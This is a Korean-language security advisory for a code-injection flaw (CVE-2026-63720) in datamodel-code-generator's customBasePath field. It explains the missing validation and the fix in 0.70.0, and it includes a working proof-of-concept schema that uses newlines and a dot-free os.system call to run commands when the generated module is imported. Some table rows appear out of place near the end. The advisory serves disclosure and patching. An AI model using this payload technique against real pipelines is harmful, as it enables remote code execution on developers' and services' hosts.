
datamodel-code-generator에서 검증되지 않은 customBasePath를 통한 코드 인젝션 (RCE) (CVE-2026-63720)
심각도: 높음, CVSS 3.1 7.5 / CVSS 4.0 7.5 (CNA인 VulnCheck가 배정)
환경적 상한(네트워크 서비스 배포): 최대 9.8
벡터(v4.0): CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
벡터(v3.1): CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
영향 대상: datamodel-code-generator < 0.70.0
수정 버전: 0.70.0
CWE: CWE-94 (코드 생성의 부적절한 제어, '코드 주입')
보고자: Rahul Karne
CNA: VulnCheck
게시일: 2026년 7월 26일
datamodel-code-generator는 코드 주입 페이로드를 실을 수 있는 모든 스키마 제어 import 문자열을 검증했지만, 단 하나는 예외였다.
이 도구는 입력 스키마(JSON Schema, OpenAPI, YAML)를 Python 모델 소스로 변환한다. 여러 스키마 필드가 생성된 코드에 직접 렌더링되므로, 프로젝트는 주입을 방지하기 위해 사용 전에 이를 점으로 구분된 Python 식별자로 검증한다. 스키마 확장 필드 customBasePath는 이 검사를 건너뛰는 유일한 필드다. 이 값은 정화되지 않은 채 생성된 출력의 from ... import ... 문으로 흘러 들어간다. 입력 스키마를 제어하는 공격자는 줄바꿈과 점 없는 표현식을 사용해 임의의 Python을 삽입할 수 있으며, 생성된 모듈이 import되는 순간 — 즉 모델 생성 후 일반적인 다음 단계 — 실행된다.
이것은 CVE-2026-55415 (GHSA-5578-w22f-pfx9)의 불완전한 수정으로, 해당 권고에서는 형제 필드인 customTypePath와 x-python-import를 이 정확한 부류에 대해 강화했다. 그 수정은 customBasePath를 다루지 않았으며, 이 필드는 검증되지 않은 채 동일한 싱크에 도달하여 0.68.1 및 main 브랜치에서 0.70.0까지 계속 악용 가능한 상태로 남아 있었다.
생성된 모델을 import하거나 실행하는 프로세스(개발자의 머신, CI 러너, 또는 모델을 생성한 뒤 로드하는 모든 서비스)에서 임의의 Python 코드가 실행된다. 호스트의 기밀성, 무결성, 가용성이 완전히 손상되며, 그 범위는 해당 프로세스의 권한으로만 제한된다.
심각도는 코드 생성이 신뢰할 수 없는 입력에 대해 어디서 실행되는지에 전적으로 달려 있다:
영향을 받는 대상: datamodel-code-generator < 0.70.0을 사용하면서 (1) customBasePath 값이 공격자의 영향을 받는 스키마에서 모델을 생성하고, (2) 생성된 모듈을 import하거나 실행하는 모든 경우. 기본적인 코드 생성 후 import 워크플로우는 본질적으로 (2)를 충족한다.
영향을 받지 않는 대상:
customBasePath가 검증되는 0.70.0 이상을 사용하는 모든 경우.| 지표 | 값 | 출처 |
|---|---|---|
| 전체 다운로드 수 | 1억 9,400만 | pepy.tech/projects/datamodel-code-generator |
customBasePath 스키마 필드의 값은 식별자 제약 없이 생성된 코드로 전달된다. 코드베이스에서 세 지점이 중요하다(src/datamodel_code_generator/ 기준 경로):
parser/jsonschema.py는 alias="customBasePath"를 가진 필드 custom_base_path를 정의하며(~644행), 여러 호출 지점에서 _resolve_base_class(...)를 통해 사용된다.parser/base.py의 _resolve_base_class(~1665행)는 로컬 normalize()(중복 제거/공백 제거)만 수행한 후 값을 반환한다. 식별자 검증은 적용되지 않는다.imports.py의 Import.from_full_path()(~35행)는 값을 그대로 from ... import ... 행으로 출력한다. 이 값은 model/base.py의 set_base_class(~1324행)에서 클래스 베이스로도 사용되며 모델 템플릿(class {{ class_name }}({{ base_class }}):)에서 원시 상태로 렌더링된다.값이 제약 없이 Python 소스에 기록되므로, 포함된 줄바꿈과 점 없는 표현식은 각각 개별적으로 파싱 가능한 행으로 출력에 살아남으며, 중간 줄은 import 시 실행된다.
페이로드는 필연적으로 점이 없다. Import.from_full_path는 값을 . 기준으로 분할하므로 일반적인 os.system(...) 호출은 분해될 것이다. getattr(__import__('os'),'system')(...)을 사용하면 .을 피하면서도 동일한 호출을 실행할 수 있으며, 주변의 줄바꿈은 출력된 from ... import ... 행을 구문적으로 유효하게 유지하여 주입된 중간 줄이 깔끔하게 실행된다.
이 프로젝트는 주입을 소홀히 한 프로젝트가 아니다. 유지보수자는 여러 권고(GHSA-5578, m34r, 8m8r, wjv6)에 걸쳐 이 정확한 부류를 반복적으로 강화했으며, 매번 스키마에 의해 제어되는 import 또는 타입 문자열이 코드 생성에 도달하기 전에 _validate_dotted_python_identifier_path를 통과하도록 했다. 형제 필드인 customTypePath(parser/jsonschema.py ~4956, 5202행에서 검증)와 x-python-import(~2096행)는 모두 해당 검증기를 거친다.
customBasePath는 그러한 호출이 없는 유일한 형제 필드다. 이 필드는 다른 필드들이 받은 검증에 연결된 적이 없는 경로(_resolve_base_class)를 통해 동일한 Import.from_full_path 싱크에 도달한다. 이 결함은 주변 방어가 완전해 보였기 때문에 정확히 그 이유로 살아남았다. 검증되지 않은 import 문자열을 찾아 훑어보는 검토자는 먼저 확인하는 필드에 검증기가 있는 것을 보게 되며, 이 필드는 import 처리보다는 베이스 클래스 해석처럼 보이는 헬퍼를 통해 경로가 지정된다. 이것은 체계적인 수정의 공백이지, 수정 자체가 없는 것이 아니다. 그래서 최신 릴리스까지 지속되었다.
공격자에게 필요한 것:
< 0.70.0을 사용하는 대상.customBasePath 값에 대한 제어. 실제로는 입력 스키마를 제공하거나 영향을 주는 방식(타사 OpenAPI/JSON Schema 문서, 또는 서비스에 제출된 스키마)으로 이루어진다.공격자에게는 인증이나 상승된 권한이 필요하지 않다(PR:N). 기본 점수는 피해자가 일반적인 생성 및 import 작업을 수행한다는 것을 반영한다(v3.1의 UI:R / v4.0의 UI:A). 네트워크 서비스 배포는 그것마저 제거하며, 환경적 9.8이 여기서 나온다.
다음은 실제 수정되지 않은 패키지를 대상으로 실행한 것이다. 재현 방법:
pip install "datamodel-code-generator==0.68.1"
datamodel-codegen --input attack.json --input-file-type jsonschema --output generated_models.py
python -c "import generated_models"
공격자 입력(attack.json):
{
"type": "object",
"title": "User",
"customBasePath": "builtins import object\ngetattr(__import__('os'),'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object",
"properties": { "name": { "type": "string" } }
}
취약한 버전(0.68.1)에서 생성된 generated_models.py:
from __future__ import annotations
from builtins import object
getattr(__import__('os'), 'system')(
'whoami > RCE_PROOF.txt'
)
from builtins import object
class User(object):
name: str | None = None
공격자의 호출이 생성된 소스에 그대로 출력된다.
import 시: 명령이 실행된다. 검증된 실행에서 주입된 마커가 stdout에 출력되고 현재 사용자(root)를 포함하는 RCE_PROOF.txt가 생성되어, 일반적인 생성 및 import 워크플로우를 통한 임의 명령 실행이 확인되었다.
패치된 버전(0.70.0): 동일한 스키마는 코드가 생성되기 전에 거부된다:
Error at schema path 'attack.json': Error: customBasePath must be a dotted
Python identifier path: "builtins import object\ngetattr(__import__('os'),
'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object"
파일이 생성되지 않는다. 거부 메시지는 수정 사항을 직접 명명한다: 이제 값은 점으로 구분된 Python 식별자 경로여야 한다.
네트워크 서비스 변형. POST된 스키마를 받아 모델을 생성하고 import하는 인증되지 않은 루프백 HTTP 서비스가, 사용자 상호작용 없이 단일 인증되지 않은 curl만으로 서버에서 공격자의 명령을 실행하는 것이 시연되었다. 이것이 환경적 9.8의 배경이 되는 배포 형태다. 서비스와 공격 파일은 PoC 저장소에 포함되어 있다.
datamodel-code-generator 0.70.0 이상으로 업그레이드하십시오:
pip install --upgrade "datamodel-code-generator>=0.70.0"
0.70.0은 customBasePath를 customTypePath와 x-python-import에 이미 적용된 동일한 점 구분 식별자 검증을 통과시키므로, 유효한 식별자 경로가 아닌 값은 코드 생성 전에 거부된다.
즉시 업그레이드할 수 없는 경우: 완전히 제어할 수 없는 스키마에서 모델을 생성하지 말고, 신뢰할 수 없는 스키마에서 생성된 모듈을 import하거나 실행하지 마십시오. 영향을 받는 버전에는 누락된 검증을 추가하는 구성 플래그가 없습니다. 업그레이드가 확실한 수정 방법입니다.
생성기 내부를 재사용하는 모든 사용자를 위한 참고 사항. 이 결함은 Import.from_full_path로 가는 하나의 코드 경로에서 검증 호출이 누락된 것이지, 싱크 자체의 결함이 아니다. 스키마에 의해 제어되는 문자열을 생성된 코드로 렌더링하는 모든 하위 프로젝트는 명백한 import 처리 경로를 통과하는 필드뿐만 아니라 모든 해당 필드를 점 구분 식별자로 검증해야 한다.
VulnCheck(CNA)는 7.5(높음) 을 배정했으며, 이는 유지보수자가 상위 권고 CVE-2026-55415에 사용한 기본 벡터와 일치한다. 동일한 주입 부류, 동일한 Import.from_full_path 싱크, 동일한 영향이기 때문이다.
AV:N: 스키마는 일반적으로 네트워크를 통해 얻어진다(가져오거나 타사 OpenAPI / JSON Schema 문서).AC:H: 악용은 피해자가 악성 스키마에서 모델을 생성한 다음 생성된 코드를 import하거나 실행하는 것에 달려 있다.PR:N / UI:R (v3.1): 공격자 권한 없음; 피해자가 일반적인 코드 생성 및 import 워크플로우를 수행한다.C:H / I:H / A:H: 호스트에서 완전한 임의 코드 실행.환경적 상한은 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)이며, 생성기가 신뢰할 수 없는 스키마에 노출되고 피해자 상호작용이 필요 없는 네트워크 서비스 배포에 구체적으로 적용된다. 그 수치는 해당 배포에 대한 환경적 참고 사항이지, 배정된 기본 점수가 아니다. 둘 다를 명시하고 어느 것이 어느 것인지 분명히 하는 것이 정직한 표현 방식이다: 기본 점수는 7.5이며, 9.8에 도달하는 것은 노출된 서비스의 경우뿐이다.
| 날짜 | 사건 |
|---|---|
| 2026년 7월 13일 | 취약점 식별 |
보안 연구원이자 IEEE Senior Member인 Rahul Karne가 발견하고 보고했다. 그의 연구는 의존성이 높은 오픈소스 패키지의 주입 및 입력 처리 결함에 초점을 맞추고 있으며, CVE-2026-65321(PyAthena의 SQL 주입)과 이번 발견을 둘러싼 상위 클래스 강화 작업을 포함한다.
문의: [email protected] · GitHub: rahulreddykarne
545a96c5: https://github.com/koxudaxi/datamodel-code-generator/commit/545a96c5언론 문의: [email protected]. 전체 PoC(공격자 스키마, 네트워크 서비스 데모) 및 추가 기술 세부 사항은 요청 시 제공된다.
| 최근 30일 다운로드 수 | 1,630만 | pepy.tech |
| 일반적인 배포 형태 | 개발자 머신, CI/CD 파이프라인, OpenAPI / JSON Schema에서 코드를 생성하는 SDK 생성 플랫폼 | 이 도구의 기능에 내재된 특성 |
| 2026년 7월 14일 | 보고(조율된 공개) |
| 2026년 7월 21일 | 수정 커밋(545a96c5) |
| 2026년 7월 24일 | 패치 버전 0.70.0 릴리스 |
| 2026년 7월 26일 | VulnCheck가 CVE-2026-63720 게시 |